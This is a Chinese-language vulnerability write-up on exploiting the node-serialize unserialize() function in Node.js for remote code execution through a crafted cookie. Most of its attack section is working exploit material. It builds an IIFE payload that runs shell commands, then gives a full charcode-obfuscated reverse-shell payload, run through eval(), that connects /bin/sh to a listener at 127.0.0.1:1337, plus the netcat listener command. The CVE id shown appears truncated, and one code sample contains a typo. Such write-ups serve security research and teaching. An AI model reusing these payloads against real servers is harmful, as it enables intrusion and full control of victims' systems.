利用Node.js反序列化的漏洞执行远程代码。
漏洞介绍
漏洞名称：Exploiting Node.js deserialization bug for Remote Code Execution
漏洞CVE id：CVE-2017-594
漏洞类型：代码执行
漏洞简介：不可信的数据传入了unserialize()函数，这导致我们可以通过传递带有立即调用函数表达式（IIFE）的javascript对象来实现任意代码执行。
漏洞详情
在Node.js代码审查期间，我碰巧看到了一个序列化/反序列化模块命名为node-serialize。cookie的值来自请求然后被传递到模块提供的unserialize()函数。下面是一个示例的node.js应用程序：
var express = require('express');var cookieParser = require('cookie-parser');var escape = require('escape-html');var serialize = require('node-serialize');var app = express();app.use(cookieParser())app.get('/', function(req, res){ if (req.cookies.profile) { var str = new Buffer(req.cookies.profile,'base64').toStrin(); var obj = serialize.unserialize(str); if (obj.username){ res.send("Hello " + escape(obj.username)); }}else{res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=",{ maxAge: 900000, httpOnly: true});}res.send("Hello World");});app.listen(3000);Java，php，Ruby和python也有着大量的反序列化问题
Understanding PHP Object Injection
Java Deserialization Cheat Sheet
Rails Remote Code Execution Vulnerability Explained
Arbitrary code execution with Python pickles
但是我找不到任何解释反序列化/对象的资源来解释Node.js中的注入BUG。
Building the Payload
我使用node-serialize version 0.0.4进行研究，为了成功利用当不可信数据传递到unserialize()函数时，执行任意代码。创建Payload的最好方法就是使用同一模块的serialize()函数。
我创建了以下JavaScript对象并将其传递给serialize()函数。
var y = {rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},}var serialize = require('node-serialize');console.log("Serialized: \n" + serialize.serialize(y));输出如下：
现在我们有一个序列化的字符串，可以通过unserialize()函数进行反序列化，但问题是代码执行不会发生，直到你触发对应于对象的rce属性的函数。后来我想出，我们可以使用JavaScript的立即调用函数表达式（IIFE）来调用该函数。如果我们在函数体之后使用括号()，当对象被创建时，函数将被调用。 它的工作方式类似于C ++中的类构造函数。
代码：
var y = {rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}(),}var serialize = require('node-serialize');console.log("Serialized: \n" + serialize.serialize(y));获得以下输出
IIFE工作正常，但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号()。并将其传递给unserialize()函数，幸运的它成功了。所以我们有Exploit Payload：
{"rce":"_$$ND_FUNC$$_function (){\n \trequire('child_process').exec('ls /', function(error, stdout, stderr) {console.log(stdout) });\n }()"}将它传递给unserialize()函数将导致代码执行。
var serialize = require('node-serialize');var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout)});}()"}';serialize.unserialize(payload);演示：
现在我们知道我们可以利用node-serialize模块中的unserialize()函数。现在让我们来利用漏洞生成一个反向shell。
Further Exploitation
Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie，对cookie值执行base64解码，并将其传递给unserialize()函数。由于cookie是不受信任的输入，攻击者可以制作恶意Cookie值以利用此漏洞。
我使用nodejsshell.py生成反向shell有效负载。
$ python nodejsshell.py 127.0.0.1 1337[+] LHOST = 127.0.0.1[+] LPORT = 1337[+] Encodingeval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))现在让我们生成序列化的有效内容，并在函数体后添加括号()。
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}我们需要执行相同的Base64编码，然后使用Cookie头中的编码Payload向Web服务器发出请求。
现在我们可以使用nc监听一下本地的一个端口：
nc -l 127.0.0.1 1337演示：
成功利用，反弹一个shell。
演示视频
总结
我们利用了一个反序列化的bug实现了任意代码执行，经验告诉我们，永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了eval()反序列化，我在另一个名为serialize-to-js的模块中也发现了一个类似的错误。在该模块中，Node.js中的require()函数在没有IIFE的对象的反序列化期间没有范围，并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。